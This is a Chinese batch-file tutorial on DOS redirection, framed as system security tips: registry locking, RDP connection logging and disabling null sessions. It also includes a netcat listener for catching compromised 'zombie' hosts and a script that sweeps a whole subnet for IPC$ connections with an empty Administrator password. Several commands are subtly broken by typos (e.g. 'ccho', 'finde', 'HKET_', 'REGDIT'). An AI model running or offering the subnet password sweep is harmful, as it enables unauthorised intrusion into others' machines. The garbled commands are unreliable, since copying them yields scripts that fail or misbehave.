当前位置:DOS资源站资料中心批处理教程 → 利用编程详说重定向命令在系统安全中的作用

利用编程详说重定向命令在系统安全中的作用

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-5-26 18:08:58

学过DOS操作系统的朋友一定不会对“重定向命令”感到陌生,它功能的强大;使用上的灵活是其他命令所不能媲美的,而且更重要的是它对系统的安全起到了重要的作用,所以,我们不得不来掌握这条命令。

一、 重定向命令的格式:
大家都知道DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向命令可方便地将输入输出改向磁盘文件或其它设备,其中:
1、 大于号”>”将命令发送到文件或设备,例如:打印机>prn。使用大于号时,有 些命令输出(例如错误消息)不能重定向。
2、 双大于号“>>”将命令输出添加到文件结尾,而不删除文件中已有的信息。
3、 小于号“<”从文件而不是键盘上获取命令所需的输入。
4、 “>&”符号将输出从一个默认I/O流重新定向到另一个默认I/O流。例如:command >output_file 2>&1将处理command过程的使用错误信息,从屏幕重定向到标准文件输出中。标准输出的数值如下所示:
标准输出 等价的数值
Stdin 0
Stdout 1
Stderr 2
其中,1和2都创建一个文件用于存放数据。
二、 重定向命令的输出
几乎所有命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使用大于号“>”。大多数命令中均可使用大于号,例如:在以下命令中,DIR命令生成的目录表重定向到Dirlist.txt文件:dir>dirlist.txt

如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命令的输出代替文件中的信息。

要将命令输出添加到文件结尾而不丢弃文件中的任何信息,请使用双大于号“>>”。例如:在以下命令中, dir命令生成的目录列表附加到Dirlist.txt文件中:
dir>dirlist.txt

将输入重定向到一个命令,就象可以将命令输出发送到文件或打印机而不是屏幕一样,你可以从文件而不是从键盘获取命令的输入。

要从文件获取输入,请使用小于号“<”。例如以下命令将从List.txt文件中获取sort命令的输入:sort<list.txt
系统将List.txt文件各行按字母排序并在屏幕上显示结果。

三、 应用举例
1、给注册表加琐与解琐
大家知道,注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\Policies\System分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无法使用注册表加锁和解锁,非常方便。

打开记事本程序,新建一个文本文件,输入如下内容:
@echo REGEDIT4>>123.reg
@echo .>>123.reg
@echo[HKET_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo “DisableRegistryTools”=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
然后将上面的文本文件存为bat文件,然后运行这个文件注册表就会被锁定。

在上面的命令中,“echo”是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里显示,如果想看到程序执行过程,那么就将“@”去掉,大家在编写上述代码时要注意的是,第一行中的“REGEDIT4” 一定要用大写字母,在第二行中“echo”和“.”之间没有空格。“>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上“deltree /y 123.reg”,就可以无需确定就删除123.reg文件。

要想给注册表解锁,可以编辑这个批处理文件,只需将“DisableRegistrTools”=dword:00000001“改为“DisableRegistryTools”=dword:00000000,其他内容不变,保存为.bat文件,然后运行这个文件就可以解锁。

2、记录把登录3389的机器IP
把下面的内容保存为3389IP.bat:
time /t >>log.log
netstat –n –p tcp ︱find “:3389”>>log.log
start Explorer
运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?

3、恢复DOS实模式
大家知道,某些恶意网页会修改浏览者的注册表,在无所不用的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用是比较特别的一招,在此与大家分享:
echo off
echo REGDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo[HKEY_CURRENT_USER\SoftWare\microsoft\windwos\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo “NoRealMode”=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg
然后别忘了将以上代码保存为.bat的批处理文件,只要双击运行此文件就可以恢复DOS实模式,自然那些久违的DOS应用程序又可以使用了。

4、等待肉机上门
大家每天费时费力的找肉鸡是不是很辛苦了,那么有没有想过利用重定向命令和批处理文件就让你简单的找到肉鸡。方法是用记事本新建一个文本文件,输入如下内容:
@echo off
:start
nc –vv –w 5 –l –p 80>>rouji.log
goto start
将上面的代码还是保存为.bat的批处理文件(不过事先得准备好一个nc.exe文件),然后运行此程序,你就等着肉鸡主动上门吧。

5、快速进行空连接
空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令:
net use \\IP\ipc$ “” /user:””
就可以简单的和目标建立一个空连接(需要目标开放IPC$)。利用重定向命令和for命令就可对一个C类网段进行快速的空连接,并把结果保存到一个文件中供你分析。方法是用记事本编辑如下内容文件:
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do ccho %1.%%G >>test.txt & net use \%1.%%G ipc$ “” /use:”Administrator” | finde “命令完成” >>test.txt
将上面的代码保存为.bat文件,运行即可,这个批处理文件的功能是:对你指定的一个C类网段中的254个ip依次试建立帐号为Administrator,口令为空的ipc$连接,如果成功,就把结果记录在test.txt中。这样就实现了NT弱口令扫描功能。其中,for命令的功能是对一组文件的每个文件执行某个特定命令,也就是可用你指定的循环范围生成一系列命令。

6、禁止空连接
空连接的存在有一定的危险性,所以我们还是禁止它为好!方法是输入net share查看本地共享资源,接下来输入如下命令删除共享:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (如果有更多的盘符,可以通过此法依次删除)
然后用记事本新建一个文本文件,输入如下内容即可:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo “RestrictAnonymous”=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
然后另存为.bat文件运行即可,这样就达到了禁止空连接。(注:此代码第三行是由于版面缘故而另起一行,在我们编写代码的时候切记不要另起一行。)

7、扫描所有和本机一TCP协议连接的计算机
扫描自己的计算机端口,发现有特殊的端口打开,可以查找木马。不仅如此,利用下面这个批处理文件还可以把所有和本机一TCP协议连接的计算机的IP地址都记录下来。这个.bat文件的内容如下:
data /t>>123.log
time /t>>123.log
netstat –n –p tcp 10>>123.log
这样不仅可记录下对方的IP,还有时间和日期,方便自己的查看。

其实本文所说的方法主要是利用了批处理和相关的命令,重定向命令在其中只是个媒介,它起到了连接的作用,但它的功劳也是不小的,可见掌握重定向命令是多么的重要了。